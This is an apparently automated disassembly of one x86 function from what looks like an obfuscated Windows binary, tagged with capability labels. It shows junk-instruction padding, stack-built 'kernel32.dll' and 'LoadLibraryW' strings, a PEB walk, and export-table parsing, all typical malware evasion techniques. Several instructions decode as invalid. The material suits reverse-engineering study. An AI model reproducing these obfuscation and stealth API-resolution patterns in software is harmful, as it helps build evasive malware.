Function at 0x409bdc
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ebx
push ebx
and ebx, 0x1c1d
pop ebx
movzx ecx, word [ebp - 0x10c]
test ecx, ecx
jne 0x409a9a
movzx edx, word [ebp - 0x1c0]
movzx eax, word [ebp - 0x10c]
sub edx, eax
mov dword [ebp - 0x15fc], edx
jmp 0x409afd
movzx ecx, word [ebp - 0x1c0]
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x4099b9
movzx eax, word [ebp - 0x1c0]
xor eax, 0x20
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
je 0x4099b9
movzx edx, word [ebp - 0x1c0]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
jge 0x409ae7
mov dword [ebp - 0x15f4], 0xffffffff
jmp 0x409af1
mov dword [ebp - 0x15f4], 1
mov ecx, dword [ebp - 0x15f4]
mov dword [ebp - 0x15fc], ecx
cmp dword [ebp - 0x15fc], 0
jne 0x409b46
push ebx
push ebx
add esp, 4
sub ebx, 0x11a3a
xor ebx, 0x76da
sub ebx, 0x1ac0
add ebx, 0x16ea7
pop ebx
push edx
sub edx, 0xb5a3
and edx, 0xfff6
sub edx, 0x110e3
pop edx
mov edx, dword [ebp - 0x4fc]
mov dword [ebp - 0x2bc], edx
jmp 0x409bae
push ebx
sub ebx, 0x2279
and ebx, 0x2af1
pop ebx
push ecx
sub ecx, 0x150eb
xor ecx, 0x39ff
pop ecx
push eax
xor eax, 0x3406
jmp 0x409b71
xor eax, 0x14d40
pop eax
mov eax, dword [ebp - 0x4fc]
mov ecx, dword [eax]
mov dword [ebp - 0x4fc], ecx
mov edx, dword [ebp - 0x4fc]
cmp edx, dword [ebp - 0xcd4]
je 0x409ba4
mov eax, dword [ebp - 0x4fc]
cmp dword [eax + 0x30], 0
jne 0x40995a
mov dword [ebp - 0x2bc], 0
push edi
and edi, 0x16256
and edi, 0x15cb3
and edi, 0xcea7
pop edi
push ebx
and ebx, 0x100e6
or ebx, 0xc1a
call 0x409bdc
add byte [0x4e374440], bh
dec esp
dec ebp
add esp, 4
pop ebx
cmp dword [ebp - 0x2bc], 0
jne 0x40a4e5
mov ecx, 0x6b
mov word [ebp - 0x172c], cx
mov edx, 0x65
mov word [ebp - 0x172a], dx
mov eax, 0x72
mov word [ebp - 0x1728], ax
mov ecx, 0x6e
mov word [ebp - 0x1726], cx
mov edx, 0x65
mov word [ebp - 0x1724], dx
mov eax, 0x6c
mov word [ebp - 0x1722], ax
mov ecx, 0x33
mov word [ebp - 0x1720], cx
mov edx, 0x32
mov word [ebp - 0x171e], dx
mov eax, 0x2e
mov word [ebp - 0x171c], ax
mov ecx, 0x64
mov word [ebp - 0x171a], cx
mov edx, 0x6c
mov word [ebp - 0x1718], dx
mov eax, 0x6c
mov word [ebp - 0x1716], ax
xor ecx, ecx
mov word [ebp - 0x1714], cx
push ecx
add ecx, 0xe390
pop ecx
push esi
jmp 0x409c94
xor esi, 0x17143
add esi, 0xa49d
pop esi
push edi
push esi
add esp, 4
and edi, 0x13d1e
pop edi
push eax
jmp 0x409cb7
pop eax
mov byte [ebp - 0x8b4], 0x4c
mov byte [ebp - 0x8b3], 0x6f
mov byte [ebp - 0x8b2], 0x61
mov byte [ebp - 0x8b1], 0x64
mov byte [ebp - 0x8b0], 0x4c
mov byte [ebp - 0x8af], 0x69
mov byte [ebp - 0x8ae], 0x62
mov byte [ebp - 0x8ad], 0x72
mov byte [ebp - 0x8ac], 0x61
mov byte [ebp - 0x8ab], 0x72
mov byte [ebp - 0x8aa], 0x79
mov byte [ebp - 0x8a9], 0x57
mov byte [ebp - 0x8a8], 0
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1d20], edx
mov eax, dword [ebp - 0x1d20]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1d24], ecx
mov edx, dword [ebp - 0x1d24]
mov dword [ebp - 0x1600], edx
push esi
or esi, 0x13f15
jmp 0x409d48
or esi, 0x99e5
and esi, 0xc14b
pop esi
push ebx
push esi
add esp, 4
xor ebx, 0x5ffa
sub ebx, 0x14f71
and ebx, 0x5515
pop ebx
cmp dword [ebp - 0x1600], 0
jne 0x409d85
mov dword [ebp - 0x780], 0
jmp 0x40a02c
mov eax, dword [ebp - 0x1600]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xce0], edx
push esi
or esi, 0xd13d
or esi, 0x13ab7
sub esi, 0x10a2f
pop esi
push edx
push esi
add esp, 4
and edx, 0x2c72
sub edx, 0xd2a9
or edx, 0xc740
xor edx, 0x15bb4
pop edx
cmp dword [ebp - 0xce0], 0
jne 0x409de1
mov dword [ebp - 0x780], 0
jmp 0x40a02c
mov eax, dword [ebp - 0xce0]
mov dword [ebp - 0x500], eax
push edi
jmp 0x40a034
jmp 0x40a03d
and edi, 0x6e1b
pop edi
push ecx
push ecx
add esp, 4
and ecx, 0x103b4
xor ecx, 0xd98
pop ecx
push ecx
add ecx, 0x8fa6
pop ecx
cmp dword [ebp - 0x780], 0
jne 0x40a0a8
push esi
push esi
add esp, 4
sub esi, 0x927b
pop esi
push ebx
push ecx
add esp, 4
sub ebx, 0x3b3c
sub ebx, 0x5dc4
pop ebx
push edx
xor edx, 0x11450
add edx, 0x17cfe
xor edx, 0x1401c
pop edx
mov dword [ebp - 0x7cc], 0
jmp 0x40abd0
push edi
push ebx
add esp, 4
call 0x40a0b9
add byte [esi], bh
xor al, 0x3d
xor eax, dword [ebx + 0x40]
add esp, 4
jmp 0x40a0c1
pop edi
push eax
push edx
add esp, 4
and eax, 0x63d9
or eax, 0x12ef1
or eax, 0x17ee4
pop eax
mov edx, dword [ebp - 0x780]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x790], 0
add byte [eax], al
add byte [eax], al
mov ecx, dword [ebp - 0x358]
lea ebp, [eax - 0x76000004]
invalid
hlt
jmp 0xbdc4a100
hlt
jmp 0x7541a106
invalid
mov edx, dword [ebp - 0x790]
mov dword [ebp - 0x3d4], edx
jmp 0x40a40a
mov eax, dword [ebp - 0x160c]
mov ecx, dword [ebp - 0x358]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1610], ecx
jne 0x40a141
mov edx, dword [ebp - 0x790]
mov dword [ebp - 0x3d4], edx
jmp 0x40a40a
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x1610]
mov eax, dword [edx + ecx + 0x78]
invalid
test esp, ebp
invalid